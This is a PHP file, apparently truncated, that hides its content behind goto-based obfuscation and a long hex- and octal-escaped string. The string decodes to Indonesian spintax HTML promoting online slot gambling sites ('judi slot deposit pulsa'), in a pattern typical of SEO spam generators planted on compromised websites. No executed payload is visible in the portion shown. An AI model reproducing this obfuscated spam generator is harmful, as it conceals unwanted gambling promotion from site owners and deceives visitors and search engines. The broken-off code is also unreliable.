<?php
 goto YnLsA; S51H9: $isi = "\x3c\x68\x31\76\173\x44\x61\146\164\x61\162\x7c\113\165\155\x70\x75\154\x61\x6e\x7c\116\x61\x6d\x61\x7c\122\x65\153\157\155\x65\x6e\x64\x61\163\151\175\x20\173\123\151\x74\165\163\x7c\x4c\x69\x6e\x6b\174\101\x67\145\156\174\x42\141\156\144\x61\162\174\102\157\x7d\40\x4a\165\x64\151\x20\x53\x6c\157\x74\x20\104\x65\160\157\163\x69\x74\40\x50\165\154\163\x61\x20\124\141\x6e\160\x61\x20\120\157\x74\x6f\156\x67\x61\x6e\x20\x7b\61\60\x20\x52\x69\x62\165\x7c\61\x30\x30\x30\60\174\61\x30\x72\x62\175\40\62\60\x32\x32\74\57\150\61\x3e\x3c\x70\x3e\123\151\164\x75\x73\40\112\x75\144\x69\x20\x3c\x61\x20\x68\162\145\146\x3d\42\x22\x3e\163\x6c\x6f\x74\40\x64\x65\160\157\x73\x69\164\40\x70\x75\x6c\163\x61\x3c\x2f\141\76\x20\61\x30\x20\x52\151\142\165\x20\173\163\165\x64\141\150\x20\160\141\163\164\x69\174\164\145\156\164\165\x7c\x74\x65\156\x74\165\x6e\171\141\174\x70\x61\163\x74\x69\156\x79\x61\x7d\x20\x7b\x73\x65\x6b\141\x72\x61\x6e\x67\174\163\141\x61\164\40\151\156\x69\175\x20\x7b\163\x65\144\x61\x6e\x67\174\154\141\147\x69\174\x74\145\156\147\x61\150\175\x20\x7b\x64\x69\x73\165\153\141\x69\x7c\x64\151\163\145\x6e\x61\x6e\x67\151\174\144\151\147\141\x6e\x64\x72\165\x6e\x67\x69\174\x64\151\155\151\x6e\x61\x74\151\175\x20\x6f\154\145\150\40\x7b\167\141\162\x67\141\174\160\145\x6e\x64\x75\144\x75\153\174\x6f\x72\x61\x6e\x67\x7d\x20\142\x61\156\171\141\153\x20\x7b\164\145\162\x6c\x65\x62\151\x68\175\40\x7b\142\x65\x62\x65\x72\141\160\x61\174\142\141\156\x79\141\x6b\175\x20\173\x70\x65\x6e\x63\x69\x6e\x74\x61\174\160\145\x6e\x67\x67\145\155\141\162\x7c\x70\x65\x6e\171\165\153\x61\x7d\x20\x6a\165\144\x69\40\x73\154\157\x74\40\147\141\x63\x6f\x72\40\173\x74\145\x72\142\141\151\153\174\163\141\x6e\x67\141\x74\x20\142\x61\x69\153\x7c\160\141\154\x69\156\x67\40\x62\141\147\x75\x73\175\40\x7b\x6d\x75\144\141\150\x7c\162\x69\156\147\x61\x6e\174\x67\141\155\x70\x61\156\147\x7d\x20\x6d\x65\156\141\x6e\x67\40\173\x6b\141\x72\145\x6e\x61\174\163\145\142\141\142\174\154\x61\156\x74\141\162\141\156\175\x20\x7b\163\x65\x6d\x75\141\174\x73\x65\155\165\x61\156\171\x61\174\163\145\154\165\x72\165\150\x6e\x79\141\x7d\x20\147\x61\155\145\x20\163\x6c\157\x74\40\x7b\x74\x65\162\x6b\157\x6d\160\154\145\164\175\40\x79\141\156\147\40\141\x64\x61\40\173\x64\141\160\x61\x74\x7d\40\x64\x69\x6d\141\151\156\153\141\x6e\40\x7b\x73\x65\152\x61\x75\150\x7d\x20\62\x34\40\152\x61\155\40\x7b\156\157\156\x2d\x73\164\x6f\160\174\x6e\x6f\156\x20\163\x74\x6f\x70\175\56\x3c\57\160\76\74\160\76\x53\x69\x74\x75\163\x20\x4a\x75\144\151\40\x53\154\x6f\164\x20\x7b\x73\x65\x62\141\147\x61\x69\x7c\141\x64\141\x6c\x61\x68\175\40\173\167\x65\x62\174\x73\x69\x74\165\163\174\x62\x6c\x6f\147\x7d\40\x6a\165\144\151\x20\171\x61\x6e\x67\x20\173\163\151\x61\160\x6b\x61\156\x7c\163\x61\152\151\x6b\x61\156\x7d\x20\160\x65\x72\155\141\x69\156\141\x6e\40\x67\141\x6d\145\40\x3c\x61\40\150\162\x65\146\x3d\x22\x22\76\x73\154\157\x74\x20\x64\145\160\157\163\x69\164\x20\160\165\x6c\163\x61\x20\x74\x61\156\160\141\x20\160\157\164\x6f\x6e\x67\x61\156\74\x2f\141\x3e\40\x64\151\40\x49\x6e\144\x6f\x6e\x65\x73\x69\141\x2e\x20\101\x6e\141\x6b\40\x6d\x75\144\141\40\x79\x61\x6e\147\x20\x7b\x70\x61\144\x61\174\144\x69\175\x20\x7b\x61\167\141\x6c\156\x79\x61\x7c\141\x77\141\154\x61\156\x6e\171\141\175\x20\x6c\x65\142\151\x68\40\x7b\x73\160\x69\x72\x69\164\174\x67\141\x69\162\x61\150\x7c\x73\145\x6d\141\x6e\x67\x61\164\x7d\x20\173\144\x69\x20\x64\141\154\x61\x6d\x7c\x64\x61\x6c\141\155\x7c\x70\141\144\141\175\40\x67\x61\155\145\40\x6d\x75\154\141\151\40\155\145\154\x69\162\x69\x6b\x20\x67\141\155\x65\40\152\x75\x64\x69\40\173\x6a\145\153\160\157\164\175\40\x73\154\x6f\164\x2e\x20\173\x53\141\162\x61\x6e\141\174\x4c\141\171\x61\x6e\141\156\x7d\40\x79\x61\156\x67\40\x7b\x64\151\x70\141\153\x61\x69\175\x20\173\x62\x65\x6e\x61\x72\x2d\142\x65\x6e\141\x72\x7c\x62\x65\164\165\154\x2d\142\145\164\165\x6c\174\x73\145\x6b\141\x6c\x69\160\165\156\174\163\145\153\x61\x6c\151\55\153\141\154\x69\x7d\40\x7b\164\x69\144\x61\153\174\164\141\x6b\x7d\x20\x7b\x70\x65\162\154\165\x7c\x64\151\x70\145\162\x6c\x75\x6b\x61\156\174\144\x69\x62\165\x74\x75\x68\x6b\141\x6e\175\x20\x7b\153\x65\164\x72\x61\x6d\x70\x69\x6c\x61\x6e\x7c\x6b\x65\164\x65\162\x61\x6d\160\x69\154\141\x6e\175\40\x7b\153\150\x75\x73\165\163\x7c\163\x70\145\163\151\141\x6c\x7c\x70\162\x69\166\141\x74\174\164\x65\x72\151\163\164\151\155\145\x77\x61\174\x70\x72\151\142\141\144\x69\175\x2e\40\x4a\x75\144\151\40\163\154\x6f\164\40\173\164\145\162\150\x69\164\x75\x6e\147\x7c\x74\145\162\147\x6f\x6c\157\x6e\147\x7c\164\x65\x72\x6d\x61\x6b\x73\165\144\175\40\x7b\x6d\145\156\x67\x75\156\x64\141\x6e\x67\40\160\145\x72\150\x61\164\151\x61\x6e\x7c\x6d\145\156\x63\165\162\151\x20\x70\x65\162\150\x61\164\x69\x61\156\174\x6d\145\x6e\151\155\x62\165\x6c\x6b\x61\156\x20\x70\x65\x72\150\x61\x74\x69\x61\x6e\175\x20\x7b\142\x65\142\x65\x72\141\160\141\174\142\x61\156\x79\x61\153\x7d\40\x7b\160\x65\155\x61\x6b\x61\151\x7d\x20\x69\x6e\164\x65\162\x6e\x65\x74\40\x7b\164\145\x72\154\145\x62\151\150\175\40\173\165\x6e\x74\165\153\x7c\142\165\141\164\x7d\40\173\142\x65\x62\145\162\141\160\141\174\142\141\x6e\x79\141\x6b\175\x20\173\160\145\156\x63\151\156\164\x61\x7c\x70\x65\x6e\x67\x67\x65\155\x61\162\x7c\x70\145\x6e\171\x75\153\141\175\x20\147\141\x6d\145\x20\173\153\141\x72\x65\x6e\141\174\163\145\142\x61\142\x7c\x6c\x61\x6e\x74\141\x72\x61\x6e\x7d\x20\173\x74\162\141\156\x73\x61\153\163\151\x20\x62\151\163\156\x69\x73\x7c\156\x65\147\x6f\163\x69\141\x73\151\x7c\x62\151\x73\x6e\x69\163\x7d\40\x7b\x64\141\x70\x61\x74\175\x20\173\x64\x69\x74\x61\x6e\147\141\156\151\x7c\x64\151\x73\x65\x6c\x65\x73\x61\x69\x6b\x61\156\x7c\144\x69\154\x61\153\x75\153\141\x6e\x7c\144\x69\x6a\141\154\141\x6e\x6b\x61\156\175\40\163\x65\x63\x61\162\141\x2e\40\x7b\124\141\x70\x69\x7c\116\x61\155\165\156\174\x41\x6b\x61\x6e\40\164\145\164\x61\x70\x69\175\40\x7b\165\x6e\x74\x75\153\174\x62\165\x61\164\175\x20\x7b\155\x65\x6d\160\145\162\157\154\145\150\x7c\155\x65\156\x64\141\160\x61\x74\174\155\x65\x6e\144\x61\x70\141\164\x69\175\40\163\154\157\x74\40\x64\145\x70\x6f\163\x69\164\x20\x70\x75\x6c\x73\141\x20\155\x75\162\x61\x68\40\x74\141\x6e\160\141\40\160\x6f\164\x6f\x6e\147\141\156\54\x20\173\x62\145\x62\x65\x72\x61\x70\141\174\x62\x61\156\171\141\x6b\175\40\x63\141\154\157\156\x20\173\141\156\147\x67\x6f\x74\x61\x7c\160\x65\163\145\x72\164\141\175\40\x7b\x68\x61\x72\165\163\175\x20\173\160\x65\156\x75\x68\151\175\x20\x7b\160\145\162\163\x79\x61\162\x61\x74\141\156\x7c\160\162\141\x73\171\x61\x72\x61\x74\174\153\x72\x69\164\x65\x72\x69\x61\x7d\40\173\x64\x61\x6e\174\163\145\x72\164\141\175\x20\173\153\145\x74\145\164\141\160\x61\156\174\x6b\145\160\165\x74\x75\x73\141\x6e\x7c\141\x74\x75\162\x61\156\174\x70\145\x72\141\164\165\x72\x61\x6e\175\40\x7b\x79\141\x6e\147\40\x62\145\x72\x6a\141\x6c\x61\156\x7c\x79\141\x6e\x67\x20\x62\145\x72\x6c\141\x6e\x67\163\x75\156\x67\x7d\40\173\153\x65\143\x75\141\x6c\x69\x7d\40\173\x69\156\x67\x69\x6e\153\141\x6e\x7c\x69\x64\x61\x6d\153\141\x6e\174\x6d\x69\x6d\160\x69\x6b\x61\x6e\175\40\x7b\143\x69\143\151\160\x69\x7c\x72\141\163\x61\x6b\141\x6e\x7d\x20\155\141\156\x69\163\156\x79\x61\x20\173\x6a\145\153\x70\x6f\164\x7d\x20\142\x65\163\x61\x72\x20\173\144\x61\164\141\156\x67\40\144\141\162\x69\x7c\141\163\x61\x6c\x20\x64\141\162\x69\x7c\x62\145\162\141\x77\141\x6c\40\144\141\x72\151\x7d\40\x7b\167\145\x62\x73\x69\x74\145\174\x73\x69\x74\x75\x73\x7c\x77\145\x62\55\x73\151\164\x65\175\x20\163\154\x6f\x74\40\x64\x65\x70\157\x73\151\x74\x20\164\x61\x6e\x70\x61\40\160\x6f\164\x6f\x6e\x67\141\156\x20\x7b\x6d\x75\x64\x61\x68\174\x72\x69\156\147\x61\x6e\174\x67\141\x6d\160\x61\156\x67\175\x20\155\x65\x6e\141\x6e\x67\x2e\40\173\x50\x65\x72\x73\x79\141\x72\141\164\141\156\174\x50\x72\x61\163\x79\x61\162\x61\164\174\113\162\x69\164\145\162\x69\x61\175\40\x79\141\x6e\x67\40\173\150\141\162\165\163\x7d\40\x7b\x64\x69\163\141\156\x67\x67\x75\x70\151\x7d\40\x7b\x69\x61\154\141\x68\x7c\x79\141\151\164\x75\174\x6d\145\162\x75\160\141\x6b\141\156\174\x79\141\x6b\156\151\175\40\x7b\160\x72\x6f\155\157\x73\x69\175\40\163\x6c\157\x74\x20\x64\145\x70\x6f\x73\151\x74\40\160\165\154\163\x61\x20\x74\x61\156\160\141\x20\160\157\x74\157\156\x67\141\x6e\40\151\x6e\x69\40\x7b\150\x61\x6e\x79\141\x7c\143\165\155\x61\156\174\163\x65\x6b\x65\144\141\162\175\40\x62\x65\x72\154\x61\153\x75\40\173\165\x6e\x74\x75\153\x7c\142\x75\x61\164\x7d\x20\173\141\x6e\x67\147\157\164\141\174\160\145\x73\x65\162\x74\141\175\x20\171\141\x6e\x67\x20\x7b\142\x61\162\x75\174\x61\156\171\x61\x72\175\40\173\x74\x65\162\147\141\x62\165\x6e\147\x7c\155\x61\x73\165\153\175\40\173\144\x61\156\174\163\x65\x72\x74\x61\175\40\x7b\x6b\x65\162\x6a\141\153\141\156\174\154\141\x6b\x75\x6b\x61\156\174\152\141\154\141\156\153\141\x6e\x7d\40\x7b\x6d\151\x6e\151\x6d\x61\154\x7c\x73\145\x6b\x75\x72\x61\156\147\x6e\171\x61\174\160\x61\x6c\151\x6e\147\x20\x73\x65\x64\151\x6b\x69\x74\x7c\163\x65\153\x75\162\141\156\147\55\153\x75\162\141\x6e\x67\156\x79\x61\175\x20\144\x65\x70\157\x73\x69\x74\40\x7b\x73\x65\x6a\x75\x6d\x6c\x61\150\40\122\x70\174\163\x65\x6e\x69\154\141\x69\40\x52\x70\x7d\x2e\x20\x31\60\56\x30\60\x30\x2e\40\104\145\156\147\x61\156\40\173\x70\x65\x72\x73\171\141\x72\x61\164\141\x6e\x7c\160\162\141\163\x79\141\162\x61\164\x7c\x6b\x72\x69\164\145\x72\151\x61\x7d\x20\x7b\x64\141\x6e\174\163\x65\162\x74\141\x7d\x20\x7b\x6b\x65\x74\145\156\x74\165\141\x6e\174\x6b\145\160\x75\x74\165\163\x61\156\x7d\40\171\141\156\147\x20\x7b\x74\151\x64\x61\x6b\x7c\164\141\153\175\40\x7b\x72\145\160\157\x74\174\x73\x75\154\151\x74\174\163\165\x73\141\x68\175\x20\151\x74\x75\40\141\x6e\x64\x61\x20\173\x6c\141\156\147\x73\x75\x6e\147\x20\x62\151\x73\141\174\x6c\x61\156\x67\163\x75\x6e\147\40\x64\x61\x70\141\164\174\x64\x61\160\x61\164\x20\x6c\x61\x6e\147\163\x75\x6e\x67\175\x20\163\x69\141\x70\x20\173\165\156\164\165\x6b\x7c\x62\165\x61\164\x7d\x20\x7b\144\151\x63\151\x63\x69\x70\x69\174\x64\151\143\x69\143\151\x70\x7d\x20\x7b\x6b\145\154\x6f\x6d\x70\157\153\x7c\150\151\155\x70\165\x6e\x61\x6e\x7d\x20\x3c\x61\40\150\162\145\146\75\42\x22\76\144\141\146\x74\141\x72\x20\163\x6c\x6f\164\x3c\57\x61\76\40\x64\x65\x70\157\163\x69\164\40\x70\165\154\163\141\x20\164\x61\x6e\x70\141\40\x70\x6f\x74\157\x6e\x67\x61\x6e\56\x3c\57\160\76\x3c\160\x3e\x7b\x57\x75\x6a\x75\144\x7d\40\153\x65\165\156\x74\x75\x6e\x67\x61\156\40\74\x61\x20\150\x72\145\x66\x3d\x22\42\x3e\123\151\164\165\x73\x20\x4a\165\144\x69\40\123\x6c\x6f\x74\x3c\x2f\141\76\x20\104\x65\160\157\163\151\x74\x20\x50\x75\154\x73\141\40\61\60\x20\x52\x69\x62\x75\40\x7b\x75\x6e\x74\165\x6b\174\x62\165\141\164\x7d\x20\x70\145\155\141\x69\156\x20\x7b\142\141\162\165\x7c\141\x6e\171\x61\162\x7d\x20\x79\x61\x6e\x67\40\173\164\145\x72\x67\x61\142\x75\x6e\x67\x7c\155\141\x73\x75\153\175\x20\142\145\162\x73\x61\x6d\141\40\144\145\156\x67\x61\x6e\40\x7b\x77\x65\x62\x73\151\x74\145\x7c\163\x69\164\165\163\x7c\167\x65\x62\x2d\x73\x69\164\x65\x7d\40\144\x61\146\164\x61\162\40\x6a\165\144\151\x20\x73\x6c\x6f\x74\x38\70\x20\144\145\x70\x6f\x73\x69\164\x20\x6d\x75\162\141\150\40\x7b\171\141\153\x6e\x69\174\151\x61\x6c\141\150\174\x61\144\141\x6c\141\x68\175\x20\x7b\144\141\160\x61\164\175\40\x7b\x6d\x61\156\146\x61\x61\164\x6b\x61\156\174\x6d\x65\155\141\153\x61\x69\174\155\145\156\x67\x67\165\156\x61\153\141\156\x7d\40\x64\x65\x70\x6f\163\x69\x74\40\x7b\x73\145\x62\x61\147\141\x69\174\x73\x65\x6c\141\153\165\x7c\x6a\x61\x64\x69\174\x6d\145\x6e\152\x61\x64\151\175\40\x6d\x6f\144\141\x6c\x20\173\144\x61\156\174\163\145\162\164\x61\175\x20\x7b\x64\141\160\x61\x74\x7d\x20\x7b\x74\x65\x72\x68\x69\164\165\x6e\147\x7c\164\x65\162\x67\157\x6c\x6f\156\x67\x7c\x74\x65\x72\x6d\141\153\163\165\144\175\40\x7b\x6d\x65\156\152\141\144\151\153\x61\156\x20\x73\x61\164\x75\174\x6a\141\144\151\153\x61\x6e\x20\163\x61\164\165\175\40\x68\x61\x64\151\x61\150\40\x7b\x73\141\x6d\x70\141\151\174\x68\151\156\x67\147\x61\174\x68\x69\x6e\x67\x67\141\40\163\x61\155\160\141\151\175\40\173\152\x75\x6d\x6c\x61\150\175\x20\x79\x61\156\x67\40\142\145\163\x61\162\x2e\x20\104\141\x6c\x61\155\40\163\145\153\x61\154\151\40\155\x61\x73\x75\x6b\x20\150\x61\154\141\x6d\141\x6e\x20\160\145\x72\155\x61\151\156\x61\x6e\x20\x73\x6c\157\164\40\x64\x65\x70\x6f\x20\160\165\154\163\141\x20\173\164\x65\x72\155\x75\x72\141\150\174\163\x61\x6e\147\x61\x74\x20\x6d\165\x72\141\150\174\x61\x6d\x61\x74\x20\x6d\x75\162\x61\150\x7d\x20\x7b\163\145\x6d\165\141\x7c\x73\x65\155\165\x61\x6e\x79\x61\174\163\x65\x6c\165\162\165\x68\x6e\171\141\x7d\40\x79\x61\x6e\x67\x20\x7b\x64\151\x70\145\162\154\x75\153\x61\x6e\175\40\173\x64\x61\x70\141\164\x7d\x20\x7b\x64\x69\x74\x61\x6e\147\141\x6e\x69\174\144\151\x73\145\154\x65\x73\141\x69\153\141\x6e\x7c\144\x69\x6c\141\153\x75\x6b\x61\156\174\x64\x69\x6a\141\154\141\x6e\x6b\x61\156\175\x20\x73\145\x63\141\x72\x61\40\173\x62\x65\x72\x64\151\x6b\141\162\151\175\40\x7b\x73\x65\162\x74\141\40\154\x65\x62\x69\x68\x7d\40\173\x70\162\151\x76\x61\x74\175\56\x20\173\124\162\141\x6e\x73\x61\x6b\x73\151\x20\142\151\163\156\151\163\x7c\x4e\145\x67\157\163\x69\x61\163\151\x7c\x42\151\x73\x6e\x69\163\x7d\x20\173\x6b\x65\165\x61\156\x67\141\156\x7d\40\x7b\x64\151\160\145\162\154\165\153\x61\156\175\40\173\x64\x69\x20\163\x61\141\x74\x7c\x6b\145\x74\x69\153\x61\x7c\x70\x61\144\141\40\x77\141\153\x74\x75\x7c\144\151\x20\167\x61\153\x74\x75\x7d\x20\x7b\151\163\x69\174\151\163\x69\153\x61\x6e\x7d\40\x73\141\x6c\144\157\x20\x7b\165\x6e\164\x75\x6b\174\x62\165\x61\x74\x7d\40\164\x61\x72\x75\x68\141\x6e\56\x20\173\x54\141\156\160\141\174\124\x61\156\x70\x61\40\x61\144\x61\x7c\124\x69\x61\x64\141\x7d\40\173\150\141\x72\x75\163\x7d\40\x74\162\x61\156\163\x66\x65\x72\40\173\x64\141\164\x61\x6e\147\40\x64\x61\162\x69\x7c\x61\163\x61\x6c\x20\144\x61\x72\151\x7c\x62\x65\162\x61\167\x61\154\x20\x64\x61\x72\151\x7d\x20\101\124\x4d\54\x20\173\x73\145\153\x61\x72\x61\x6e\x67\40\x69\x6e\151\174\x77\141\x6b\x74\165\x20\x69\156\151\174\x73\x65\153\x61\x72\x61\x6e\x67\175\x20\x7b\163\165\x64\x61\x68\x7c\x75\x64\x61\x68\x7d\40\141\144\x61\x20\160\x65\156\x67\x69\163\151\x61\156\x20\x7b\x6d\x61\156\146\x61\x61\164\x6b\x61\x6e\174\155\145\155\141\x6b\x61\x69\174\155\145\156\147\147\x75\156\141\x6b\x61\x6e\175\40\163\x6c\x6f\164\40\144\145\x70\x6f\163\151\164\x20\160\x75\154\163\141\x20\x74\141\156\x70\141\x20\x70\x6f\164\x6f\156\x67\x61\156\56\74\x2f\x70\x3e\x3c\x68\62\x3e\173\x53\151\x74\165\x73\174\114\151\x6e\153\x7c\101\x67\x65\156\174\102\x61\156\x64\141\162\x7c\x42\157\175\40\x4a\x75\x64\x69\x20\123\154\x6f\x74\40\104\x65\160\x6f\163\151\x74\40\x50\x75\x6c\x73\x61\40\173\x31\x30\40\x52\151\x62\x75\174\61\60\x30\x30\60\174\x31\60\162\x62\x7d\x3c\x2f\150\62\76\x3c\160\76\74\x61\x20\150\x72\145\146\75\42\x22\76\123\151\x74\165\x73\40\x4a\165\x64\151\40\x73\154\157\164\x20\x64\x65\160\157\163\151\164\x20\x70\165\154\163\141\x20\x74\x61\x6e\x70\x61\x20\x70\x6f\x74\157\156\x67\141\x6e\40\62\x30\62\62\74\x2f\x61\x3e\x20\x7b\164\x69\x64\141\x6b\40\x68\x61\156\x79\141\x7c\x62\x75\153\x61\156\x20\x68\141\156\x79\141\174\x74\151\x64\x61\153\40\x73\145\153\x65\144\x61\162\174\x62\x75\x6b\x61\156\x20\x73\x65\153\x65\x64\x61\162\175\40\164\151\x70\x75\x61\156\40\x7b\x73\x65\155\141\164\x61\x7d\56\x20\x7b\124\x65\164\141\160\x69\x7c\116\141\155\x75\156\174\124\x61\x70\151\174\x41\x6b\x61\x6e\40\x74\x65\164\141\160\x69\175\40\173\120\x61\x6e\164\141\x73\x7c\x50\141\164\165\164\174\127\x61\x6a\x61\162\x7d\40\x7b\x75\156\164\165\x6b\x7c\142\x75\x61\164\175\40\144\x69\x20\x73\x61\x6e\144\141\156\147\x20\123\151\x74\165\163\x20\101\147\x65\156\x20\123\154\157\x74\x20\x50\165\x6c\x73\141\40\x7b\x6b\x61\x72\x65\x6e\141\174\x73\145\x62\141\x62\174\154\141\x6e\164\141\x72\x61\156\x7d\40\173\163\x69\x74\x75\163\x7c\150\x61\x6c\141\x6d\x61\x6e\174\x77\x65\x62\175\x20\112\165\x64\x69\40\x53\154\157\x74\x20\104\x65\160\x6f\163\151\164\x20\120\165\x6c\163\141\40\x7b\124\141\x6e\160\x61\174\x54\141\x6e\160\x61\40\x61\144\x61\174\124\151\x61\x64\141\x7d\x20\120\x6f\x74\x6f\x6e\147\x61\x6e\x20\173\120\x61\154\151\x6e\x67\x20\144\151\x70\x65\x72\x63\141\x79\x61\x7c\102\x69\x73\141\40\x64\151\x70\145\162\x63\x61\171\141\174\104\141\160\x61\164\x20\144\151\x70\145\162\x63\x61\171\141\175\x20\x69\x6e\x69\40\x7b\163\145\x62\145\156\x61\x72\x6e\171\x61\174\163\x65\x73\x75\156\147\147\x75\150\x6e\x79\x61\174\x62\x61\x68\167\141\x73\141\x6e\x79\141\175\40\156\x79\141\164\x61\55\156\171\141\164\x61\x20\173\144\x69\163\165\x6b\x61\151\174\144\x69\x67\x65\155\x61\162\151\x7c\144\151\x73\145\156\x61\x6e\147\x69\x7d\40\x6f\154\x65\x68\x20\173\147\x6f\x6c\157\156\147\141\x6e\x7c\160\x61\162\x61\x7c\x6b\x65\154\157\x6d\160\x6f\x6b\175\40\162\x65\x6d\x61\x6a\141\40\150\x69\x6e\147\x61\x20\157\x72\141\x6e\x67\40\x64\x65\167\x61\x73\x61\56\x20\x53\x6c\x6f\x74\x20\120\165\x6c\x73\x61\x20\x54\x61\156\160\x61\40\160\157\x74\x6f\156\x67\141\156\x20\x7b\164\145\x72\150\x69\x74\165\156\x67\x7c\164\x65\x72\147\x6f\x6c\x6f\156\147\x7c\x74\145\162\x6d\x61\x6b\163\165\x64\175\40\x7b\x44\x61\160\x61\x74\x7d\40\144\151\x20\173\x73\143\x6f\x72\145\x7d\40\173\x64\141\164\141\x6e\147\x20\144\x61\162\x69\174\141\x73\141\x6c\40\x64\141\x72\x69\x7c\x62\x65\x72\x61\x77\x61\154\x20\x64\141\x72\151\175\x20\x70\162\x6f\163\x65\163\40\x7b\163\x65\162\166\x69\x63\x65\x7c\160\x65\x6c\x61\171\x61\x6e\141\156\175\40\173\153\145\x7c\x70\x61\x64\x61\174\164\145\162\150\x61\x64\x61\160\x7d\x20\x7b\x73\145\x6d\x75\x61\x7c\163\x65\155\165\141\x6e\171\x61\174\x73\x65\x6c\x75\x72\x75\150\156\x79\141\175\x20\x70\x65\x6d\141\x69\x6e\x20\x79\x61\x6e\147\x20\173\x64\x61\150\x75\x6c\165\x7d\40\173\142\x65\x72\x6d\141\151\156\174\155\x61\151\x6e\x7d\40\x64\151\x20\x7b\167\145\x62\163\x69\x74\x65\x7c\x73\x69\164\x75\163\174\167\x65\142\x2d\x73\x69\x74\145\175\40\101\147\x65\x6e\x20\123\154\x6f\164\40\120\x75\154\x73\x61\x2e\x20\173\x53\145\x62\x61\147\x69\141\x6e\x20\x62\145\x73\141\162\x7c\102\x61\x6e\x79\x61\x6b\x7c\110\x61\x6d\x70\151\x72\x20\163\x65\x6d\x75\x61\x7c\116\x79\141\162\151\x73\40\x73\145\155\x75\x61\175\x20\160\x6c\141\171\145\x72\x20\173\x74\x65\x6e\164\x75\174\x6a\145\x6c\x61\163\174\x6e\171\141\x74\141\x7c\160\141\x73\164\151\x6e\171\x61\174\x70\x61\163\x74\x69\154\141\150\175\40\173\x64\x61\x68\x75\154\x75\175\x20\173\x72\x61\163\x61\153\141\x6e\x7c\x6d\x65\x72\x61\x73\141\x69\175\x20\x7b\x4a\145\x6b\x70\157\164\x7d\40\x7b\144\x61\x74\x61\156\147\40\x64\141\162\x69\174\x61\163\x61\x6c\x20\x64\x61\x72\x69\174\x62\145\162\141\167\x61\x6c\40\x64\141\162\x69\x7d\40\x70\145\162\155\141\x69\156\141\x6e\x20\x73\154\157\x74\x20\x70\x75\x6c\x73\141\40\x69\x6e\151\x2c\x20\173\153\x61\x72\x65\156\141\x7c\x73\x65\142\141\142\174\x6c\x61\x6e\x74\x61\162\141\x6e\x7d\40\173\x73\x65\x62\x65\156\141\162\156\171\141\174\163\x65\163\x75\x6e\x67\x67\165\x68\x6e\171\x61\174\x62\x61\x68\167\x61\x73\141\156\x79\x61\x7d\40\101\147\145\x6e\40\x53\x6c\157\x74\x20\x50\165\154\x73\x61\x20\151\156\x69\x20\144\x69\40\173\x62\x75\x61\x74\174\x6a\141\144\151\153\x61\x6e\x7d\x20\x62\x65\162\x73\x61\155\141\x20\144\x65\x6e\147\141\156\x20\160\x65\162\163\145\x6e\x74\141\163\151\x20\x6b\145\155\145\156\141\156\147\141\156\x20\x7b\x70\141\154\x69\x6e\147\40\164\x69\x6e\147\147\x69\x7d\56\40\173\x6d\141\153\x61\x20\x64\x61\x72\x69\x20\x69\164\x75\x7c\x6f\154\x65\x68\40\x6b\141\x72\145\x6e\141\x6e\x79\x61\x7c\157\154\145\x68\40\163\145\x62\x61\x62\x20\x69\x74\165\x7c\x64\145\156\x67\141\156\40\144\x65\155\151\153\151\x61\156\175\x20\160\x6c\141\171\x65\x72\40\173\x74\151\x64\141\x6b\x7c\x74\141\153\x7d\x20\x7b\150\x61\162\165\x73\175\40\173\143\x65\x6d\141\x73\174\162\x69\x73\141\165\x7c\x77\141\163\167\x61\163\x7c\160\x61\x6e\x69\153\175\x20\x7b\165\x6e\164\165\x6b\x7c\x62\x75\x61\164\x7d\40\173\141\154\141\x6d\x69\x7c\x6d\x65\x72\x61\x73\141\153\x61\x6e\174\x6d\x65\156\147\x65\x6e\171\141\x6d\x7d\x20\x6b\145\153\x61\x6c\x61\x68\141\156\40\x79\x61\156\x67\40\x7b\155\165\164\154\x61\x6b\175\40\144\151\x20\x7b\163\141\141\x74\174\167\141\x6b\x74\165\40\x73\145\144\x61\x6e\x67\x7c\x73\x65\167\x61\153\x74\165\x7c\160\141\144\141\40\167\141\153\x74\x75\x7d\x20\173\142\x65\162\x6d\x61\x69\x6e\174\155\x61\x69\156\x7d\40\x64\151\x20\x53\154\157\164\x20\x50\x75\x6c\x73\141\x2e\x3c\x2f\x70\x3e\74\x70\76\123\x6c\x6f\164\x20\173\120\x61\154\151\156\147\x20\x64\x69\160\x65\x72\x63\x61\171\x61\x7c\x42\x69\x73\x61\40\144\151\160\x65\x72\x63\x61\x79\x61\x7c\x44\141\x70\141\x74\x20\144\x69\x70\145\162\x63\141\171\x61\x7d\x20\x7b\x6d\x65\x6d\x70\165\156\x79\x61\x69\174\160\x75\156\171\x61\174\x70\x75\x6e\171\x61\151\174\155\x69\x6c\x69\x6b\x69\x7d\40\160\162\x6f\x73\x65\163\40\173\x64\x61\164\x61\x6e\147\x20\144\141\x72\x69\174\141\163\x61\154\40\x64\x61\x72\x69\174\142\145\162\x61\167\x61\x6c\40\x64\x61\162\151\175\x20\x70\x65\x72\x6d\x61\x69\x6e\x61\x6e\40\74\141\x20\150\x72\145\146\75\x22\42\76\101\x67\x65\x6e\x20\123\154\157\164\x20\x44\x65\160\x6f\163\151\164\x20\x50\165\x6c\163\141\x3c\x2f\141\x3e\40\x7b\x54\x61\156\160\141\x7c\124\x61\x6e\x70\x61\x20\x61\x64\141\x7c\x54\x69\141\x64\141\x7d\40\x50\x6f\164\157\x6e\x67\x61\x6e\40\x7b\163\x61\x6e\x67\141\164\x7c\x61\x6d\141\164\x6c\x61\150\x7c\164\x65\x72\154\141\x6c\x75\x7d\x20\x7b\163\x69\155\160\x65\x6c\174\163\151\x6d\x70\154\x65\175\x2e\x20\x7b\x50\x72\x6f\163\x65\156\164\x61\x73\x65\174\x52\141\163\151\157\x7c\120\145\162\x62\141\x6e\144\x69\156\147\x61\x6e\x7d\x20\x6b\145\x6d\x65\x6e\141\x6e\x67\x61\156\40\173\142\x75\141\x74\x20\x61\156\144\x61\x7d\x20\173\171\x61\153\x6e\x69\174\151\x61\154\141\150\x7c\141\x64\141\x6c\141\x68\175\x20\70\x39\45\40\142\141\x6e\x64\x69\156\x67\40\62\x31\45\x2e\x7b\164\145\x72\155\x61\x73\165\153\175\40\153\x65\x63\x69\154\40\x7b\x75\x6e\164\x75\x6b\174\x62\165\141\x74\x7d\40\173\153\x61\x6c\x61\150\x6e\171\x61\x7d\x2c\x20\173\152\141\x64\151\x7d\40\160\x6c\141\x79\145\x72\40\173\x74\x69\144\x61\153\x7c\x74\x61\153\175\40\173\162\141\147\165\174\x63\165\162\151\147\141\x7d\40\x7b\153\x65\155\142\141\154\x69\x7d\40\173\165\x6e\x74\x75\x6b\x7c\x62\x75\x61\x74\x7d\40\x7b\x62\145\162\155\141\x69\x6e\174\x6d\x61\151\x6e\x7d\40\x7b\155\141\x6e